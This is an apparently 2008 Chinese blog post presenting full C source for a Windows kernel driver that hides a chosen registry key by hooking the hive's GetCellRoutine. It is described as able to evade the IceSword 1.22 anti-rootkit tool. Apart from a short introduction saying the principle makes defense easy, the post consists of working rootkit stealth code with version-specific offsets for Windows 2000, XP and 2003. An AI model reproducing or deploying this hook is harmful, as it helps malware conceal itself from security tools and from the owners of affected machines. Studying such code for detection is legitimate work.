发一段隐藏注册表项的驱动代码，可以过目前最新的IceSword1.22

发表于 2008-03-29 分类于 dev ， Safe

以前驱动开发网悬赏挑战IceSword时写的，不过最后没公开。那时流氓软件势头正劲，我可不想火上浇油。现在反流氓软件日渐成熟，也就没关系了。知道了原理，防御是非常容易的。

原理很简单，实现的代码也很短，啥都不用说，各位直接看示例代码吧。

#include <ntddk.h>
#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )
#define CM_KEY_INDEX_ROOT 0x6972 // ir
#define CM_KEY_INDEX_LEAF 0x696c // il
#define CM_KEY_FAST_LEAF 0x666c // fl
#define CM_KEY_HASH_LEAF 0x686c // hl
// 一些CM的数据结构，只列出用到的开头部分
#pragma pack(1)
typedef struct _CM_KEY_NODE {
USHORT Signature;
USHORT Flags;
LARGE_INTEGER LastWriteTime;
ULONG Spare; // used to be TitleIndex
HANDLE Parent;
ULONG SubKeyCounts[2]; // Stable and Volatile
HANDLE SubKeyLists[2]; // Stable and Volatile
// ...
} CM_KEY_NODE, *PCM_KEY_NODE;
typedef struct _CM_KEY_INDEX {
USHORT Signature;
USHORT Count;
HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;
typedef struct _CM_KEY_BODY {
ULONG Type; // "ky02"
PVOID KeyControlBlock;
PVOID NotifyBlock;
PEPROCESS Process; // the owner process
LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;
typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);
typedef struct _HHIVE {
ULONG Signature;
PGET_CELL_ROUTINE GetCellRoutine;
// ...
} HHIVE, *PHHIVE;
#pragma pack()
// 需隐藏的主键名
WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";
PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;
PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;
// 打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
NTSTATUS status;
UNICODE_STRING uKeyName;
OBJECT_ATTRIBUTES oa;
HANDLE hKey;
RtlInitUnicodeString(&uKeyName, pwcsKeyName);
InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwOpenKey(&hKey, KEY_READ, &oa);
if (!NT_SUCCESS(status))
{
DbgPrint("ZwOpenKey Failed: %lx\n", status);
return NULL;
}
return hKey;
}
// 获取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
NTSTATUS status;
PCM_KEY_BODY KeyBody;
PVOID KCB;
if (hKey == NULL) return NULL;
// 由Key句柄获取对象体
status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
if (!NT_SUCCESS(status))
{
DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);
return NULL;
}
// 对象体中含有KeyControlBlock
KCB = KeyBody->KeyControlBlock;
DbgPrint("KeyControlBlock = %lx\n", KCB);
ObDereferenceObject(KeyBody);
return KCB;
}
// 获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
// 获取父键的节点
PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
// 获取子键的索引
PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);
// 如果为根(二级)索引，获取最后一个索引
if (Index->Signature == CM_KEY_INDEX_ROOT)
{
Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
DbgPrint("Index = %lx\n", Index);
}
if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
{
// 快速叶索引(2k)或散列叶索引(XP/2k3)，返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
}
else
{
// 一般叶索引，返回最后的节点
return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
}
}
// GetCell例程的钩子函数
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
// 调用原函数
PVOID pRet = g_pGetCellRoutine(Hive, Cell);
if (pRet)
{
// 返回的是需要隐藏的节点
if (pRet == g_HideNode)
{
DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
// 查询、保存并返回其父键的最后一个子键的节点
pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
DbgPrint("g_LastNode = %lx\n", g_LastNode);
// 隐藏的正是最后一个节点，返回空值
if (pRet == g_HideNode) pRet = NULL;
}
// 返回的是先前保存的最后一个节点
else if (pRet == g_LastNode)
{
DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
// 清空保存值，并返回空值
pRet = g_LastNode = NULL;
}
}
return pRet;
}
NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
DbgPrint("DriverUnload()\n");
// 解除挂钩
if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
ULONG BuildNumber;
ULONG KeyHiveOffset; // KeyControlBlock->KeyHive
ULONG KeyCellOffset; // KeyControlBlock->KeyCell
HANDLE hKey;
PVOID KCB, Hive;
DbgPrint("DriverEntry()\n");
pDrvObj->DriverUnload = DriverUnload;
// 查询BuildNumber
if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
DbgPrint("BuildNumber = %d\n", BuildNumber);
// KeyControlBlock结构各版本略有不同
// Cell的值一般小于0x80000000，而Hive正相反，以此来判断也可以
switch (BuildNumber)
{
case 2195: // Win2000
KeyHiveOffset = 0xc;
KeyCellOffset = 0x10;
break;
case 2600: // WinXP
case 3790: // Win2003
KeyHiveOffset = 0x10;
KeyCellOffset = 0x14;
break;
default:
return STATUS_NOT_SUPPORTED;
}
// 打开需隐藏的键
hKey = OpenKeyByName(g_HideKeyName);
// 获取该键的KeyControlBlock
KCB = GetKeyControlBlock(hKey);
if (KCB)
{
// 由KCB得到Hive
PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
// GetCellRoutine在KCB中，保存原地址
g_ppGetCellRoutine = &Hive->GetCellRoutine;
g_pGetCellRoutine = Hive->GetCellRoutine;
DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);
// 获取需隐藏的节点并保存
g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
// 挂钩GetCell例程
Hive->GetCellRoutine = MyGetCellRoutine;
}
ZwClose(hKey);
return STATUS_SUCCESS;
}